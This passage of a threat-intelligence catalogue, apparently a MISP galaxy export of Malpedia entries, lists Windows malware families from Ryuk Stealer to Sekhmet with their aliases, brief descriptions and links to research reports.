https://web.archive.org/web/20210305181115/https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf
https://www.bleepingcomputer.com/news/security/french-it-giant-sopra-steria-hit-by-ryuk-ransomware/
https://ics-cert.kaspersky.com/media/KASPERSKY_H1_2020_ICS_REPORT_EN.pdf
https://www.proofpoint.com/us/blog/threat-insight/first-step-initial-access-leads-ransomware
https://www.cyborgsecurity.com/cyborg_labs/hunting-ransomware-inhibiting-system-backup-or-recovery/
https://thedfirreport.com/2020/11/05/ryuk-speed-run-2-hours-to-ransom/
https://twitter.com/SophosLabs/status/1321844306970251265
https://www.youtube.com/watch?v=BhjQ6zsCVSc
https://www.domaintools.com/resources/blog/analyzing-network-infrastructure-as-composite-objects
https://blog.intel471.com/2020/04/14/understanding-the-relationship-between-emotet-ryuk-and-trickbot/
https://arcticwolf.com/resources/blog/karakurt-web
https://4rchib4ld.github.io/blog/NiceToMeetYouRyuk/
https://news.sophos.com/en-us/2021/05/06/mtr-in-real-time-pirates-pave-way-for-ryuk-ransomware/
https://us-cert.cisa.gov/ncas/alerts/aa20-345a
https://www.bleepingcomputer.com/news/security/ryuk-ransomware-likely-behind-new-orleans-cyberattack/
https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/conti-leaks-examining-the-panama-papers-of-ransomware.html
https://areteir.com/wp-content/uploads/2020/08/Arete_Insight_Is-Conti-the-new-Ryuk_August2020.pdf

https://www.accenture.com/us-en/blogs/cyber-defense/evolving-danger-ransomware-extortion
https://medium.com/walmartglobaltech/inside-the-systembc-malware-as-a-service-9aa03afd09c6
https://community.riskiq.com/article/0bcefe76
https://krebsonsecurity.com/2021/08/ransomware-gangs-and-the-name-game-distraction/
https://www.bleepingcomputer.com/news/security/steelcase-furniture-giant-hit-by-ryuk-ransomware-attack/
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/ryuk-ransomware-attack-rush-to-attribution-misses-the-point/
https://www.advanced-intel.com/post/front-door-into-bazarbackdoor-stealthy-cybercrime-weapon
https://cofense.com/the-ryuk-threat-why-bazarbackdoor-matters-most/
https://www.bleepingcomputer.com/news/security/hacking-group-is-targeting-us-hospitals-with-ryuk-ransomware/
https://www.carbonblack.com/blog/vmware-carbon-black-tau-ryuk-ransomware-technical-analysis/
https://www.youtube.com/watch?v=Of_KjNG9DHc
https://medium.com/ax1al/reversing-ryuk-eef8ffd55f12
https://intel471.com/blog/conti-ransomware-cooperation-maze-lockbit-ragnar-locker
https://unit42.paloaltonetworks.com/ryuk-ransomware/
https://thedfirreport.com/2020/10/08/ryuks-return/
https://blog.reversinglabs.com/blog/hunting-for-ransomware
https://www.cybereason.com/blog/cybereason-vs.-ryuk-ransomware
https://twitter.com/ffforward/status/1324281530026524672
https://www.hhs.gov/sites/default/files/bazarloader.pdf
https://twitter.com/IntelAdvanced/status/1356114606780002308
https://www.fireeye.com/blog/threat-research/2019/01/a-nasty-trick-from-credential-theft-malware-to-business-disruption.html
https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf
https://0xchina.medium.com/malware-reverse-engineering-31039450af27
https://kc.mcafee.com/resources/sites/MCAFEE/content/live/CORP_KNOWLEDGEBASE/91000/KB91844/en_US/McAfee%20Labs%20Threat%20Advisory%20-%20Ransom-Ryukv6.pdf
https://www.youtube.com/watch?v=HwfRxjV2wok
https://ke-la.com/to-attack-or-not-to-attack-targeting-the-healthcare-sector-in-the-underground-ecosystem/

Ryuk Stealer

Information Stealer that searches for sensitive documents and uploads its results to an FTP server.

Skips files with known Ryuk extensions.

The tag is: *misp-galaxy:malpedia="Ryuk Stealer"*

Ryuk Stealer is also known as:

- Sidoh

Table 3017. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ryuk_stealer
https://www.bleepingcomputer.com/news/security/ryuk-related-malware-steals-confidential-military-financial-files/
https://www.crowdstrike.com/blog/sidoh-wizard-spiders-mysterious-exfiltration-tool/
https://analyst1.com/file-assets/Nationstate_ransomware_with_consecutive_endnotes.pdf
https://twitter.com/VK_Intel/status/1171782155581689858

Sadogo

Ransomware.

The tag is: *misp-galaxy:malpedia="Sadogo"*

Sadogo is also known as:

Table 3018. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sadogo
https://id-ransomware.blogspot.com/2020/04/sadogo-ransomware.html

Saefko

The tag is: *misp-galaxy:malpedia="Saefko"*

Saefko is also known as:

Table 3019. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.saefko
https://www.zscaler.com/blogs/research/saefko-new-multi-layered-rat

SafeNet

The tag is: *misp-galaxy:malpedia="SafeNet"*

SafeNet is also known as:

Table 3020. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.safenet
https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-safe-a-targeted-threat.pdf

SAGE

The tag is: *misp-galaxy:malpedia="SAGE"*

SAGE is also known as:

- Saga

Table 3021. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sage_ransom
https://isc.sans.edu/forums/diary/Sage+20+Ransomware/21959/
https://www.govcert.admin.ch/blog/27/saga-2.0-comes-with-ip-generation-algorithm-ipga
https://www.cert.pl/en/news/single/sage-2-0-analysis/
http://malware-traffic-analysis.net/2017/10/13/index.html
https://blog.malwarebytes.com/threat-analysis/2017/03/explained-sage-ransomware/

SaiGon

FireEye reports SaiGon as a variant of ISFB v3 (versions documented are tagged 3.50.132) that is more a generic backdoor than being focused on enabling banking fraud.

The tag is: *misp-galaxy:malpedia="SaiGon"*

SaiGon is also known as:

Table 3022. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.saigon
https://research.checkpoint.com/2020/gozi-the-malware-with-a-thousand-faces/
https://www.fireeye.com/blog/threat-research/2020/01/saigon-mysterious-ursnif-fork.html

Saint Bot

The tag is: *misp-galaxy:malpedia="Saint Bot"*

Saint Bot is also known as:

Table 3023. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.saint_bot
https://cert.gov.ua/article/18419
https://www.cyberscoop.com/ukrainian-cyber-attacks-russia-conflict-q-and-a/
https://unit42.paloaltonetworks.com/atoms/nascentursa/
https://inquest.net/blog/2022/04/07/ukraine-cyberwar-overview
https://lifars.com/2022/03/a-closer-look-at-the-russian-actors-targeting-organizations-in-ukraine/
https://blog.malwarebytes.com/threat-analysis/2021/04/a-deep-dive-into-saint-bot-downloader/
https://unit42.paloaltonetworks.com/ukraine-targeted-outsteel-saintbot/

Saitama Backdoor

This in .Net witten backdoor abuses the DNS protocoll for its C2 communication. Also other techniques (e.g. long random sleeps, compression) are used to become more stealthy.

The tag is: *misp-galaxy:malpedia="Saitama Backdoor"*

Saitama Backdoor is also known as:

- Saitama

Table 3024. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.saitama
https://x-junior.github.io/malware%20analysis/2022/06/24/Apt34.html
https://www.fortinet.com/blog/threat-research/please-confirm-you-received-our-apt
https://blog.malwarebytes.com/threat-intelligence/2022/05/apt34-targets-jordan-government-using-new-saitama-backdoor/
https://isc.sans.edu/diary/Translating+Saitama%27s+DNS+tunneling+messages/28738

Sakula RAT

Sakula / Sakurel is a trojan horse that opens a back door and downloads potentially malicious files onto the compromised computer.

The tag is: *misp-galaxy:malpedia="Sakula RAT"*

Sakula RAT is also known as:

- Sakurel

Table 3025. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sakula_rat
https://web.archive.org/web/20200509171721/https://raw.githubusercontent.com/fdiskyou/threat-INTel/master/2015/GlobalThreatIntelReport.pdf
https://github.com/nccgroup/Cyber-Defence/tree/master/Technical%20Notes/Sakula
https://www.secureworks.com/research/sakula-malware-family
https://cyberthreatintelligenceblog.wordpress.com/2018/11/16/c0ld-case-from-aerospace-to-chinas-interests/
https://www-west.symantec.com/content/dam/symantec/docs/security-center/white-papers/black-vine-cyberespionage-group-15-en.pdf
https://web.archive.org/web/20151001235506/https://www.mysonicwall.com/sonicalert/searchresults.aspx?ev=article&id=654
https://docs.broadcom.com/doc/the-black-vine-cyberespionage-group
https://www.symantec.com/security_response/writeup.jsp?docid=2014-022401-3212-99
https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2016/june/sakula-an-adventure-in-dll-planting/?page=1

Salgorea

The tag is: *misp-galaxy:malpedia="Salgorea"*

Salgorea is also known as:

- BadCake

Table 3026. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.salgorea
https://research.checkpoint.com/deobfuscating-apt32-flow-graphs-with-cutter-and-radare2/
https://www.welivesecurity.com/wp-content/uploads/2018/03/ESET_OceanLotus.pdf
https://www.accenture.com/us-en/blogs/blogs-pond-loach-delivers-badcake-malware

Sality

F-Secure states that the Sality virus family has been circulating in the wild as early as 2003. Over the years, the malware has been developed and improved with the addition of new features, such as rootkit or backdoor functionality, and so on, keeping it an active and relevant threat despite the relative age of the malware.

Modern Sality variants also have the ability to communicate over a peer-to-peer (P2P) network, allowing an attacker to control a botnet of Sality-infected machines. The combined resources of the Sality botnet may also be used by its controller(s) to perform other malicious actions, such as attacking routers.

Infection Sality viruses typically infect executable files on local, shared and removable drives. In earlier variants, the Sality virus simply added its own malicious code to the end of the infected (or host) file, a technique known as prepending. The viral code that Sality inserts is polymorphic, a form of complex code that is intended to make analysis more difficult.

Earlier Sality variants were regarded as technically sophisticated in that they use an Entry Point Obscuration (EPO) technique to hide their presence on the system. This technique means that the virus inserts a command somewhere in the middle of an infected file’s code, so that when the system is reading the file to execute it and comes to the command, it forces the system to 'jump' to the malware’s code and execute that instead. This technique was used to make discovery and disinfection of the malicious code harder.

Payload Once installed on the computer system, Sality viruses usually also execute a malicious payload. The specific actions performed depend on the specific variant in question, but generally Sality viruses will attempt to terminate processes, particularly those related to security programs. The virus may also attempt to open connections to remote sites, download and run additional malicious files, and steal data from the infected machine.

The tag is: *misp-galaxy:malpedia="Sality"*

Sality is also known as:

Table 3027. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sality
https://www.cisa.gov/uscert/sites/default/files/publications/AA22-110A_Joint_CSA_Russian_State-Sponsored_and_Criminal_Cyber_Threats_to_Critical_Infrastructure_4_20_22_Final.pdf
https://www.mandiant.com/resources/pe-file-infecting-malware-ot
https://www.researchgate.net/profile/Lorenzo-De-Carli/publication/320250366_Botnet_protocol_inference_in_the_presence_of_encrypted_traffic/links/5fa9608792851cc286a08592/Botnet-protocol-inference-in-the-presence-of-encrypted-traffic.pdf?origin=publication_detail
https://unit42.paloaltonetworks.com/c2-traffic/
https://www.botconf.eu/wp-content/uploads/2015/12/OK-P18-Kleissner-Sality.pdf
https://www.dragos.com/blog/the-trojan-horse-malware-password-cracking-ecosystem-targeting-industrial-operators/
https://www.cisa.gov/uscert/ncas/alerts/aa22-110a

https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/sality_peer_to_peer_viral_network.pdf
https://gist.githubusercontent.com/quangnh89/41deada8a936a1877a6c6c757ce73800/raw/41f27388a11a606e1d6a7596dcb6469578e79321/sality_extractor.py

SamoRAT

The tag is: *misp-galaxy:malpedia="SamoRAT"*

SamoRAT is also known as:

Table 3028. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.samo_rat
https://business.xunison.com/analysis-of-samorat/

SamSam

The tag is: *misp-galaxy:malpedia="SamSam"*

SamSam is also known as:

- Samas

Table 3029. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.samsam
https://www.sophos.com/en-us/medialibrary/PDFs/technical-papers/SamSam-The-Almost-Six-Million-Dollar-Ransomware.pdf
https://www.justice.gov/opa/pr/two-iranian-men-indicted-deploying-ransomware-extort-hospitals-municipalities-and-public
https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-1
https://nakedsecurity.sophos.com/2018/08/02/how-to-defend-yourself-against-samsam-ransomware/
https://www.microsoft.com/security/blog/2020/03/05/human-operated-ransomware-attacks-a-preventable-disaster/
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-001.pdf
https://www.secureworks.com/research/samsam-ransomware-campaigns
https://www.youtube.com/watch?v=LUxOcpIRxmg
https://therecord.media/iranian-hackers-behind-cox-media-group-ransomware-attack/
https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_1_tamada-yamazaki-nakatsuru_en.pdf

https://news.sophos.com/en-us/2018/07/31/sophoslabs-releases-samsam-ransomware-report/
https://news.sophos.com/en-us/2018/07/31/samsam-guide-to-coverage/
https://www.secureworks.com/research/threat-profiles/gold-lowell
https://www.crowdstrike.com/blog/an-in-depth-analysis-of-samsam-ransomware-and-boss-spider/
https://www.justice.gov/opa/press-release/file/1114746/download
http://blog.talosintel.com/2016/03/samsam-ransomware.html
https://www.secureworks.com/blog/samsam-converting-opportunity-into-profit
https://sites.temple.edu/care/ci-rw-attacks/
https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/
https://www.secureworks.com/blog/samas-ransomware
https://nakedsecurity.sophos.com/2018/09/11/the-rise-of-targeted-ransomware/
https://enterprise.verizon.com/resources/reports/2019-data-breach-investigations-report.pdf
https://www.secureworks.com/blog/ransomware-deployed-by-adversary
https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-1/
https://nakedsecurity.sophos.com/2018/05/01/samsam-ransomware-a-mean-old-dog-with-a-nasty-new-trick-report/
https://news.sophos.com/en-us/2018/11/29/how-a-samsam-like-attack-happens-and-what-you-can-do-about-it/
https://www.sophos.com/en-us/medialibrary/pdfs/technical-papers/samsam-ransomware-chooses-its-targets-carefully-wpna.aspx
http://blog.talosintelligence.com/2018/01/samsam-evolution-continues-netting-over.html
https://nakedsecurity.sophos.com/2018/07/31/samsam-the-almost-6-million-ransomware/

Sanny

The tag is: *misp-galaxy:malpedia="Sanny"*

Sanny is also known as:

Table 3030. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sanny
http://contagiodump.blogspot.com/2012/12/end-of-year-presents-continue.html
https://www.fireeye.com/blog/threat-research/2018/03/sanny-malware-delivery-method-updated-in-recently-observed-attacks.html

SapphireMiner

The tag is: *misp-galaxy:malpedia="SapphireMiner"*

SapphireMiner is also known as:

Table 3031. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sapphire_miner
https://blog.talosintelligence.com/2022/08/modernloader-delivers-multiple-stealers.html

SappyCache

The tag is: *misp-galaxy:malpedia="SappyCache"*

SappyCache is also known as:

Table 3032. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sappycache
https://blog.alyac.co.kr/2219
https://blog.reversinglabs.com/blog/catching-lateral-movement-in-internal-emails
https://www.fireeye.com/blog/threat-research/2019/03/winrar-zero-day-abused-in-multiple-campaigns.html
https://blog.alyac.co.kr/m/2219
https://www.clearskysec.com/wp-content/uploads/2019/08/ClearSky-2019-H1-Cyber-Events-Summary-Report.pdf

Sarhust

The tag is: *misp-galaxy:malpedia="Sarhust"*

Sarhust is also known as:

- ENDCMD
- Hussarini

Table 3033. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sarhust
https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/bkdr_sarhust.a

https://www.fortinet.com/blog/threat-research/hussarini---targeted-cyber-attack-in-the-philippines.html
https://speakerdeck.com/ashley920/into-the-fog-the-return-of-icefog-apt

Sasfis

Sasfis acts mostly as a downloader that has been observed to download Asprox and FakeAV. According to a VirusBulletin article from 2012, it is likely authored by the same group as SmokeLoader.

The tag is: *misp-galaxy:malpedia="Sasfis"*

Sasfis is also known as:

- Oficla

Table 3034. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sasfis
https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/sasfis
https://blog.trendmicro.com/trendlabs-security-intelligence/sasfis-malware-uses-a-new-trick/
https://blog.trendmicro.com/trendlabs-security-intelligence/sasfis-fizzles-in-the-background/
https://www.virusbulletin.com/virusbulletin/2012/11/tracking-2012-sasfis-campaign
https://www.sophos.com/en-us/threat-center/threat-analyses/viruses-and-spyware/Troj~Sasfis-O/detailed-analysis.aspx[https://www.sophos.com/en-us/threat-center/threat-analyses/viruses-and-spyware/Troj~Sasfis-O/detailed-analysis.aspx]
https://www.symantec.com/security-center/writeup/2010-020210-5440-99
https://isc.sans.edu/forums/diary/Sasfis+Propagation/8860/

Satan

Ransomware.

The tag is: *misp-galaxy:malpedia="Satan"*

Satan is also known as:

- 5ss5c
- DBGer
- Lucky Ransomware

Table 3035. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.satan

https://www.sangfor.com/source/blog-network-security/1094.html
http://blog.nsfocusglobal.com/categories/trend-analysis/satan-variant-analysis-handling-guide/
https://bartblaze.blogspot.com/2018/04/satan-ransomware-adds-eternalblue.html
https://www.bleepingcomputer.com/news/security/dbger-ransomware-uses-eternalblue-and-mimikatz-to-spread-across-networks/
https://bartblaze.blogspot.com/2020/01/satan-ransomware-rebrands-as-5ss5c.html
https://www.bleepingcomputer.com/news/security/new-satan-ransomware-available-through-a-ransomware-as-a-service-/
https://www.alienvault.com/blogs/labs-research/satan-ransomware-spawns-new-methods-to-spread
https://cyware.com/news/new-satan-ransomware-variant-lucky-exposes-10-server-side-vulnerabilities-070afbd2

Satana

The tag is: *misp-galaxy:malpedia="Satana"*

Satana is also known as:

Table 3036. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.satana
https://blog.reversinglabs.com/blog/retread-ransomware
https://www.cylance.com/threat-spotlight-satan-raas

Satellite Turla

The tag is: *misp-galaxy:malpedia="Satellite Turla"*

Satellite Turla is also known as:

Table 3037. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.satellite_turla
https://securelist.com/satellite-turla-apt-command-and-control-in-the-sky/72081/

Sathurbot

The tag is: *misp-galaxy:malpedia="Sathurbot"*

Sathurbot is also known as:

Table 3038. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sathurbot
https://www.virusbulletin.com/virusbulletin/2020/01/vb2019-paper-rich-headers-leveraging-mysterious-artifact-pe-format/
https://www.welivesecurity.com/2017/04/06/sathurbot-distributed-wordpress-password-attack/

ScanPOS

The tag is: *misp-galaxy:malpedia="ScanPOS"*

ScanPOS is also known as:

Table 3039. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.scanpos
https://www.proofpoint.com/us/threat-insight/post/kronos-banking-trojan-used-to-deliver-new-point-of-sale-malware
https://securitykitten.github.io/2016/11/15/scanpos.html
https://github.com/malware-kitten/securitykitten.github.io/blob/master/_posts/2016-11-15-scanpos.md

Scarabey

Ransomware with ransomnote in Russian and encryption extension .scarab.

The tag is: *misp-galaxy:malpedia="Scarabey"*

Scarabey is also known as:

- MVP
- Scarab
- Scarab-Russian

Table 3040. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.scarabey
https://id-ransomware.blogspot.com/2017/12/scarabey-ransomware.html

Scarab Ransomware

The tag is: *misp-galaxy:malpedia="Scarab Ransomware"*

Scarab Ransomware is also known as:

Table 3041. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.scarab_ransom
https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_1_tamada-yamazaki-nakatsuru_en.pdf
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-006.pdf
http://malware-traffic-analysis.net/2017/11/23/index.html
https://securelist.com/story-of-the-year-2019-cities-under-ransomware-siege/95456/

Schneiken

Schneiken is a VBS 'Double-dropper'. It comes with two RATs embedded in the code (Dunihi and Ratty). Entire code is Base64 encoded.

The tag is: *misp-galaxy:malpedia="Schneiken"*

Schneiken is also known as:

Table 3042. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.schneiken
https://engineering.salesforce.com/malware-analysis-new-trojan-double-dropper-5ed0a943adb
https://github.com/vithakur/schneiken

Scieron

The Chinese threat actor has used a custom backdoor dubbed "Scieron" over years in several campaigns according to SentinelLABS.

The tag is: *misp-galaxy:malpedia="Scieron"*

Scieron is also known as:

Table 3043. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.scieron
https://inquest.net/blog/2022/04/07/ukraine-cyberwar-overview
https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=8bfa7311-fdd9-4f8d-b813-1ab6c9d2c363
https://www.sentinelone.com/labs/chinese-threat-actor-scarab-targeting-ukraine
https://www.sentinelone.com/labs/chinese-threat-actor-scarab-targeting-ukraine/

Scote

The tag is: *misp-galaxy:malpedia="Scote"*

Scote is also known as:

Table 3044. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.scote
https://researchcenter.paloaltonetworks.com/2018/01/unit42-the-tophat-campaign-attacks-within-the-middle-east-region-using-popular-third-party-services/

Scranos

The tag is: *misp-galaxy:malpedia="Scranos"*

Scranos is also known as:

Table 3045. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.scranos
https://www.bitdefender.com/files/News/CaseStudies/study/271/Bitdefender-Whitepaper-Scranos-2.pdf
https://labs.bitdefender.com/2019/04/inside-scranos-a-cross-platform-rootkit-enabled-spyware-operation/

ScreenLocker

The tag is: *misp-galaxy:malpedia="ScreenLocker"*

ScreenLocker is also known as:

Table 3046. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.screenlocker
https://twitter.com/struppigel/status/791535679905927168

SDBbot

The tag is: *misp-galaxy:malpedia="SDBbot"*

SDBbot is also known as:

Table 3047. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sdbbot
https://web.archive.org/web/20210305181115/https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf
https://www.telekom.com/en/blog/group/article/eager-beaver-a-short-overview-of-the-restless-threat-actor-ta505-609546
https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf
https://intel471.com/blog/a-brief-history-of-ta505
https://vblocalhost.com/uploads/VB2020-Jung.pdf
https://www.proofpoint.com/us/threat-insight/post/ta505-distributes-new-sdbbot-remote-access-trojan-get2-downloader
https://github.com/Tera0017/SDBbot-Unpacker
https://www.fsec.or.kr/common/proc/fsec/bbs/163/fileDownLoad/2297.do
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-006.pdf
https://www.secureworks.com/research/threat-profiles/gold-tahoe
https://blog.fox-it.com/2020/11/16/ta505-a-brief-history-of-their-time/
https://www.telekom.com/en/blog/group/article/cybersecurity-ta505-returns-with-a-new-bag-of-tricks-602104
https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-009.pdf
https://www.telekom.com/en/blog/group/article/inside-of-cl0p-s-ransomware-operation-615824
https://blog.intel471.com/2020/05/21/a-brief-history-of-ta505/
https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf
https://global.ahnlab.com/global/upload/download/asecreport/ASEC%20REPORT_vol.96_ENG.pdf
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf
https://www.zdnet.com/article/the-malware-that-usually-installs-ransomware-and-you-need-to-remove-right-away/
https://www.telekom.com/en/blog/group/article/cybersecurity-ta505-s-box-of-chocolate-597672
https://www.cyber.gov.au/acsc/view-all-content/alerts/sdbbot-targeting-health-sector

SEADADDY

The tag is: *misp-galaxy:malpedia="SEADADDY"*

SEADADDY is also known as:

- SeaDuke

- Seadask

Table 3048. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.seadaddy
https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=6ab66701-25d7-4685-ae9d-93d63708a11c&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments
https://contagiodump.blogspot.de/2017/02/russian-apt-apt28-collection-of-samples.html
https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/
https://www.cyborgsecurity.com/cyborg_labs/python-malware-on-the-rise/
https://unit42.paloaltonetworks.com/unit-42-technical-analysis-seaduke/

SeaSalt

The tag is: *misp-galaxy:malpedia="SeaSalt"*

SeaSalt is also known as:

Table 3049. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.seasalt
https://github.com/securitykitten/malware_references/blob/master/Appendix%20C%20(Digital)%20-%20The%20Malware%20Arsenal.pdf

SectopRAT

The tag is: *misp-galaxy:malpedia="SectopRAT"*

SectopRAT is also known as:

- 1xxbot
- ArechClient

Table 3050. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sectop_rat
https://vxhive.blogspot.com/2021/01/deep-dive-into-sectoprat.html
https://www.gdatasoftware.com/blog/2019/11/35548-new-sectoprat-remote-access-malware-utilizes-second-desktop-to-control-browsers

SeDll

The tag is: *misp-galaxy:malpedia="SeDll"*

SeDll is also known as:

Table 3051. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sedll
https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html
https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets
https://www.secureworks.com/research/threat-profiles/bronze-mohawk
https://www.recordedfuture.com/chinese-threat-actor-tempperiscope/

Sedreco

The tag is: *misp-galaxy:malpedia="Sedreco"*

Sedreco is also known as:

- azzy
- eviltoss

Table 3052. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sedreco
https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/
https://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-operation-pawn-storm.pdf
https://securelist.com/blog/research/72924/sofacy-apt-hits-high-profile-targets-with-updated-toolset/
https://www.mandiant.com/sites/default/files/2021-09/APT28-Center-of-Storm-2017.pdf
http://www2.fireeye.com/rs/fireye/images/rpt-apt28.pdf
https://contagiodump.blogspot.de/2017/02/russian-apt-apt28-collection-of-samples.html
http://www.malware-reversing.com/2012/12/3-disclosure-of-another-0day-malware_15.html
https://www.secureworks.com/research/threat-profiles/iron-twilight
http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf

Seduploader

simple tool to facilitate download and persistence of a next-stage tool; collects system information and metadata probably in an attempt to tell sandbox-environments apart from real targets on the server-side; uses domains of search engines like Google to check for Internet connectivity; XOR-based string obfuscation with a 16-byte key

The tag is: *misp-galaxy:malpedia="Seduploader"*

Seduploader is also known as:

- GAMEFISH
- carberplike
- downrage
- jhuhugit
- jkeyskw

Table 3053. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.seduploader
http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part1.pdf
https://www.proofpoint.com/us/threat-insight/post/apt28-racing-exploit-cve-2017-11292-flash-vulnerability-patches-are-deployed
https://www.welivesecurity.com/2017/05/09/sednit-adds-two-zero-day-exploits-using-trumps-attack-syria-decoy/
https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/
https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/
https://researchcenter.paloaltonetworks.com/2016/06/unit42-new-sofacy-attacks-against-us-government-agency/
https://symantec-blogs.broadcom.com/blogs/election-security/apt28-espionage-military-government
https://www.secureworks.com/research/threat-profiles/iron-twilight
http://blog.trendmicro.com/trendlabs-security-intelligence/new-adobe-flash-zero-day-used-in-pawn-storm-campaign/
https://www.mandiant.com/sites/default/files/2021-09/APT28-Center-of-Storm-2017.pdf
https://securelist.com/a-slice-of-2017-sofacy-activity/83930/
https://www.emanueledelucia.net/apt28-sofacy-seduploader-under-the-christmas-tree/
https://blog.yoroi.company/research/apt28-and-upcoming-elections-possible-interference-signals-part-ii/
http://blog.talosintelligence.com/2017/10/cyber-conflict-decoy-document.html

http://www.welivesecurity.com/2015/07/10/sednit-apt-group-meets-hacking-team/
https://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-operation-pawn-storm.pdf
https://contagiodump.blogspot.de/2017/02/russian-apt-apt28-collection-of-samples.html
https://www.fireeye.com/blog/threat-research/2017/08/apt28-targets-hospitality-sector.html
https://blog.xpnsec.com/apt28-hospitality-malware-part-2/
https://www.welivesecurity.com/2017/12/21/sednit-update-fancy-bear-spent-year/

seinup

The tag is: *misp-galaxy:malpedia="seinup"*

seinup is also known as:

Table 3054. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.seinup
https://www.fireeye.com/blog/threat-research/2013/06/trojan-apt-seinup-hitting-asean.html

Sekhmet

Ransomware.

The tag is: *misp-galaxy:malpedia="Sekhmet"*

Sekhmet is also known as:

Table 3055. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sekhmet
https://id-ransomware.blogspot.com/2020/03/sekhmet-ransomware.html
https://www.bleepingcomputer.com/news/security/ransomware-dev-releases-egregor-maze-master-decryption-keys/
https://blog.minerva-labs.com/egregor-ransomware-an-in-depth-analysis
https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3
https://ke-la.com/how-ransomware-gangs-find-new-monetization-schemes-and-evolve-in-marketing/
https://securityaffairs.co/wordpress/127826/malware/egregor-sekhmet-decryption-keys.html
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf
https://www.cert.ssi.gouv.fr/cti/CERTFR-2021-CTI-007/

